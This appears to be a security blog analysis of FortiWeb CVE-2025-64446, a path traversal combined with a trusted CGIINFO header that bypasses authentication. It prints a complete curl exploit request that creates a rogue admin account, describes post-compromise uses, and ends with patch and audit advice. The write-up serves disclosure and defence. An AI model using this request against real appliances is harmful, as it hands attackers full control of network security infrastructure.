FortiWeb's Open Door: From Path Traversal to Instant Admin (CVE-2025-64446)

There is a special kind of irony reserved for security appliances that fail to secure themselves. FortiWeb is a Web Application Firewall (WAF) designed to filter out malicious traffic—specifically things like SQL injection and, arguably the most basic web attack of all, Directory Traversal.

Yet, here we are with CVE-2025-64446. It turns out the very device tasked with blocking ../ patterns on your network was happily accepting them on its own management interface. This isn't just a file disclosure vulnerability where we read /etc/passwd. It is a full-blown Authentication Bypass leading to Remote Code Execution (RCE).

Discovered as a zero-day being peddled in the darker corners of the internet in early November 2025, this exploit allows any unauthenticated joker on the internet to send a single HTTP request and become the admin of your security infrastructure. It is the digital equivalent of a bank vault with a screen door.

To understand how this house of cards collapses, we have to look at the architecture. The FortiWeb management interface exposes an API at /api/v2.0/cmdb/. Normally, this API handles requests, validates sessions, and does the boring work of being a web server.

However, lurking beneath the modern API surface is a legacy CGI binary called fwbcgi. This binary is the workhorse for administrative tasks. The vulnerability is a classic "One-Two Punch" combination:

1. The Path Traversal (CWE-23): The API endpoint fails to sanitize the URL path. By appending ..%2f (URL encoded ../) sequences, an attacker can break out of the intended API directory structure. Instead of hitting the API logic, the request traverses straight to /cgi-bin/fwbcgi. This is the "door" being left open.

2. The Blind Trust (Auth Bypass): Once the attacker reaches fwbcgi, they encounter the second flaw. This binary was likely designed to be called only by internal, trusted components. Because of this assumption, it uses a helper function cgi_auth() that checks for a specific HTTP header: CGIINFO. If this header exists, the binary assumes the request has already been authenticated by an upstream proxy and trusts the user details inside it implicitly.

Let's look at the logic flow that makes this possible. In a secure system, authentication context is usually passed via a signed token (JWT) or a validated session ID. In FortiWeb's vulnerable implementation, the authentication context is passed via a raw JSON blob in a header.

Here is a visualization of the intended vs. exploited flow:

The CGIINFO header expects a Base64-encoded JSON object. It looks like this when decoded:

{
  "username": "admin",
  "profname": "prof_admin",
  "vdom": "root",
  "loginname": "admin"
}

The fwbcgi binary reads this, parses the JSON, and calls set_login_context_vsa(). It does not check a password. It does not check a signature. It simply says, "Oh, you're the root admin? Right this way, sir."

Exploiting this is trivially easy, which is why the EPSS score is hovering near 100%. An attacker doesn't need complex memory corruption exploits or heap grooming. They just need curl.

The attack involves sending a POST request to the traversed path, injecting the CGIINFO header to spoof the admin, and providing a JSON body to perform an administrative action. The most common action seen in the wild is creating a new admin user to maintain persistence.

Here is the anatomy of the exploit request:

curl -X POST "https://TARGET_IP/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi" \
     -H "CGIINFO: eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==" \
     -H "Content-Type: application/json" \
     -d '{
            "data": {
                "name": "hacker_admin",
                "access-profile": "prof_admin",
                "password": "Pwned!123",
                "type": "local-user",
                "trusthostv4": "0.0.0.0/0"
            }
         }'

[!ALERT] The %3f at the start of the traversal chain is a URL-encoded question mark. This effectively tricks the parser into treating the initial path as a valid query, while the underlying filesystem interaction processes the ../ sequences.

Once the request above is processed, the attacker has a legitimate administrative account on the WAF. From here, the possibilities are catastrophic:

• Traffic Interception: The attacker can reconfigure the WAF to mirror traffic, disable protections, or log sensitive data (like POST bodies containing credentials) to a remote server.
• Lateral Movement: WAFs are often dual-homed, sitting between the internet and the sensitive internal network. This is the perfect beachhead.
• Ransomware: We've already seen indicators (CISA KEV) that ransomware groups are eyeing this. They can brick the device or use it to deploy ransomware to the backend servers it is supposed to protect.

Because the attacker is "admin," they can also wipe logs, making forensic reconstruction difficult unless you have external logging (Syslog) enabled.

If you are running FortiWeb versions 8.0.x, 7.6.x, 7.4.x, 7.2.x, or 7.0.x, you are likely vulnerable. Fortinet has released patches, and you need to apply them yesterday.

Immediate Actions:

1. Upgrade: Move to versions 8.0.2, 7.6.5, 7.4.10, 7.2.12, or 7.0.12 immediately.
2. Audit: Check your user list. If you see admins named Testpoint, trader1, or just generic names you don't recognize created in November 2025, assume compromise.
3. Network Hygiene: Why is your management interface listening on the internet? Stop doing that. Restrict management access to a VPN or a dedicated management VLAN. This vulnerability requires access to the management port; if the attacker can't reach the port, they can't traverse the path.